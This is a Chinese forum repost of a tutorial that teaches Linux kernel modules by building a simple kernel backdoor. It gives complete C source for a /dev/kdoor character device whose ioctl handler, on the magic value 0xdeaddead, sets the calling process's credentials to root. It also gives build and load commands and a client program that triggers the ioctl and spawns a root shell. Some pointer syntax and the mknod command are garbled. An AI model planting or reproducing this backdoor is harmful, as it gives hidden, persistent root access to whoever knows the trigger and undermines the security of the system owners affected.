内核技术中文网»首页 内核 Linux内核 查看内容

0 评论

0 收藏

分享

Linux内核模块入门之简单内核后门

Linux内核支持运行时动态扩展,即运行时动态加载内核扩展模块(.ko文件),ko文件所包含的代码经加载后即成为内核代码的一部分,拥有内核特权,可以调用内核其它组件,访问内核空间数据以及操作硬件。当然也有跟内核代码一样的限制,如较小的函数调用栈,不支持浮点运算等。

此处列举一些内核模块特有的能力:

  • 硬件驱动。内核模块作为硬件的驱动程序,这应该是内核模块最主要的设计目标。
  • 进程控制。内核态对进程有完全的控制权,如权限提升(如内核后门)、信号挂起(如保护某个进程不被kill -9误杀)。
  • 内核扩展。内核有一些扩展点,是需要用模块来完成的(Linux的防火墙框架netfilter)。

此外,由于众所周知的原因,开发内核模块,只能使用C语言。

内核模块与用户空间的接口

内核和用户空间的通信,主要有以下几种方式:

  • 系统调用
  • ioctl
  • proc
  • netlink

其中,系统调用是最直接的,但不适用于内核模块,因为扩展系统调用需要编译整个内核,这违背了运行时动态扩展的初衷;/proc是一个伪文件系统,可以用于传递信息,但无法做到实时,因为文件系统是被动的;netlink接口类似socket,提供内核和用户态间的双向通信,功能上完全没问题,但用起来有些复杂,适合做更重要的事情。所以,这里用ioctl来实现。

ioctl是针对文件的操作,所以这里的套路是:创建一个设备文件,并把内核模块指定为这个设备文件的驱动程序。这样,用户空间对这个设备文件发出的ioctl指令,即可传达给内核模块。

内核后门思路

由于内核代码拥有系统最高权限(当然,装载内核模块需要root权限,否则系统就没有安全性可言了),故可以在内核模块中留下后门,以便随后的某个时刻获取系统最高权限。其实现思路很简单,内核模块加载后作为内核一部分运行,用户空间进程通过ioctl调用内核模块中的函数,内核模块将调用者进程的uid和gid设置为root,即可实现权限提升。另外,由于内核模块是跟内核运行在一起的,故这种后门是没有进程的。

具体实现

声明初始化和结束入口

<pre class="public-DraftStyleDefault-pre" data-offset-key="9glot-0-0"><pre class="Editable-styled" data-block="true" data-editor="6nbpe" data-offset-key="9glot-0-0"><div data-offset-key="9glot-0-0" class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span data-offset-key="9glot-0-0"><span data-text="true">//其中init和cleanup是模块里实现的函数,会在下面介绍 module_init(init); module_exit(cleanup);</span></span></div></pre></pre>

内核模块被加载和卸载时,相应的初始化和清理函数被调用,一般是做一些资源的申请、释放操作。

设备注册

分配设备号,并指定模块中的函数作为设备驱动例程,这个过程一般在模块的初始化函数里实现,模块的初始化函数在模块被加载时被自动调用:

<pre class="public-DraftStyleDefault-pre" data-offset-key="add4g-0-0"><pre class="Editable-styled" data-block="true" data-editor="6nbpe" data-offset-key="add4g-0-0"><div data-offset-key="add4g-0-0" class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span data-offset-key="add4g-0-0"><span data-text="true">static int init(void) { const char *const dev_name = "/dev/kdoor"; g_major = register_chrdev(0, dev_name, &fops); if (g_major < 0) { return g_major; } return 0; }</span></span></div></pre></pre>

其中的fops是一个函数指针数组,用于指定设备驱动函数地址,这里只需要注册响应打开文件,关闭文件和ioctl的函数:

<pre class="public-DraftStyleDefault-pre" data-offset-key="8qrd1-0-0"><pre class="Editable-styled" data-block="true" data-editor="6nbpe" data-offset-key="8qrd1-0-0"><div data-offset-key="8qrd1-0-0" class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span data-offset-key="8qrd1-0-0"><span data-text="true">static struct file_operations fops = { .owner = THIS_MODULE, .open = device_open, .release = device_release, .unlocked_ioctl = device_ioctl };</span></span></div></pre></pre>

同理,需要在模块被卸载时卸载驱动。释放设备号资源:

<pre class="public-DraftStyleDefault-pre" data-offset-key="5epvu-0-0"><pre class="Editable-styled" data-block="true" data-editor="6nbpe" data-offset-key="5epvu-0-0"><div data-offset-key="5epvu-0-0" class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span data-offset-key="5epvu-0-0"><span data-text="true">static void cleanup(void) { //这个dev_name将出现在/proc/devices里 const char *const dev_name = "/dev/kdoor"; unregister_chrdev(g_major, dev_name); }</span></span></div></pre></pre>

处理设备打开

有进程打开相应设备文件时,该函数被自动调用,这里由于功能太简单,什么都不需要做,返回成功即可:

<pre class="public-DraftStyleDefault-pre" data-offset-key="83mje-0-0"><pre class="Editable-styled" data-block="true" data-editor="6nbpe" data-offset-key="83mje-0-0"><div data-offset-key="83mje-0-0" class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span data-offset-key="83mje-0-0"><span data-text="true">static int device_open(struct inode inode, struct file file) { return 0; }</span></span></div></pre></pre>

响应ioctl

有进程在设备文件上调用ioctl时,该函数被自动调用,我们的后门功能也就在这里完成:

<pre class="public-DraftStyleDefault-pre" data-offset-key="6nf1q-0-0"><pre class="Editable-styled" data-block="true" data-editor="6nbpe" data-offset-key="6nf1q-0-0"><div data-offset-key="6nf1q-0-0" class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span data-offset-key="6nf1q-0-0"><span data-text="true">static long device_ioctl(struct file filp, unsigned int cmd, unsigned long arg) { //涉及到Linux的RCU操作,不能直接赋值,稍微有点繁琐但并不复杂 struct cred new_cred; kuid_t kuid = KUIDT_INIT(0); kgid_t kgid = KGIDT_INIT(0); if (cmd == 0xdeaddead) { new_cred = prepare_creds(); if (new_cred == NULL) { return -ENOMEM; } new_cred->uid = kuid; new_cred->gid = kgid; new_cred->euid = kuid; new_cred->egid = kgid; commit_creds(new_cred); } return 0; }</span></span></div></pre></pre>

处理设备关闭

设备文件描述符被关闭时,或者进程异常时,这个函数被自动调用,针对这个例子,这里依然什么都不需要做:

<pre class="public-DraftStyleDefault-pre" data-offset-key="3eo7s-0-0"><pre class="Editable-styled" data-block="true" data-editor="6nbpe" data-offset-key="3eo7s-0-0"><div data-offset-key="3eo7s-0-0" class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span data-offset-key="3eo7s-0-0"><span data-text="true">static int device_release(struct inode inode, struct file file) { return 0; }</span></span></div></pre></pre>

后门的使用

编译内核模块

核心是一个特殊的Makefile:

<pre class="public-DraftStyleDefault-pre" data-offset-key="1sitf-0-0"><pre class="Editable-styled" data-block="true" data-editor="6nbpe" data-offset-key="1sitf-0-0"><div data-offset-key="1sitf-0-0" class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span data-offset-key="1sitf-0-0"><span data-text="true">ifneq ($(KERNELRELEASE),) obj-m:=kdoor.o else PWD:=$(shell pwd) KDIR:=/lib/modules/$(shell uname -r)/build all: $(MAKE) -C $(KDIR) M=$(PWD) clean: rm -rf .o .mod.c .ko .symvers .order .markers endif</span></span></div></pre></pre>

另外,内核模块编译时,还需要安装内核开发目录。

加载模块

上述模块经过编译后,即可得到一个ko文件:

<pre class="public-DraftStyleDefault-pre" data-offset-key="5u6sd-0-0"><pre class="Editable-styled" data-block="true" data-editor="6nbpe" data-offset-key="5u6sd-0-0"><div data-offset-key="5u6sd-0-0" class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span data-offset-key="5u6sd-0-0"><span data-text="true">insmod ./kdoor.ko</span></span></div></pre></pre>

创建设备

使用mknod命令创建设备文件: 根据设备驱动编号创建设备文件,以便用户空间可以与内核模块通信:

<pre class="public-DraftStyleDefault-pre" data-offset-key="fc32p-0-0"><pre class="Editable-styled" data-block="true" data-editor="6nbpe" data-offset-key="fc32p-0-0"><div data-offset-key="fc32p-0-0" class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span data-offset-key="fc32p-0-0"><span data-text="true">mknod /dev/kdoor c grep KDoor /proc/devices|awk '{print $1}' 0</span></span></div></pre></pre>

第二个参数c表示此处创建的是一个字符设备,第三个参数是设备号,可以从/proc/devices文件获取。

在用户空间使用这个后门(将调用进程权限提升为root)

直接上代码(留意注释):

<pre class="public-DraftStyleDefault-pre" data-offset-key="o022-0-0"><pre class="Editable-styled" data-block="true" data-editor="6nbpe" data-offset-key="o022-0-0"><div data-offset-key="o022-0-0" class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span data-offset-key="o022-0-0"><span data-text="true">int main(int argc, char argv[]) { const char const dev_name = "/dev/kdoor"; //打开文件 int fd = open(dev_name, O_RDWR); if (-1 == fd) { return 1; } //通过ioctl调用到模块中的实现 int ret = ioctl(fd, 0xdeaddead, 0); if (ret != 0) { return 1; } //执行shell,此shell即拥有root权限 execlp("sh", "sh", NULL); return 0; }</span></span></div></pre></pre>

小结

本文通过开发一个简单内核后门(普通进程通过访问内核模块来提升权限)的开发,演示来内核模块的能力,以及模块作为设备驱动与用户空间通信的一般套路,希望能起到抛砖引玉的作用,至少让读者知道有内核模块这么一回事。

原文作者:二软

原文链接:https://juejin.cn/post/6844903944129347592(版权归原作者所有,如有侵权,留言联系删除

回复

举报 使用道具

全部回复
暂无回帖,快来参与回复吧
主题 1545
回复 0
粉丝 2
扫码获取每晚技术直播链接
快速回复 返回顶部 返回列表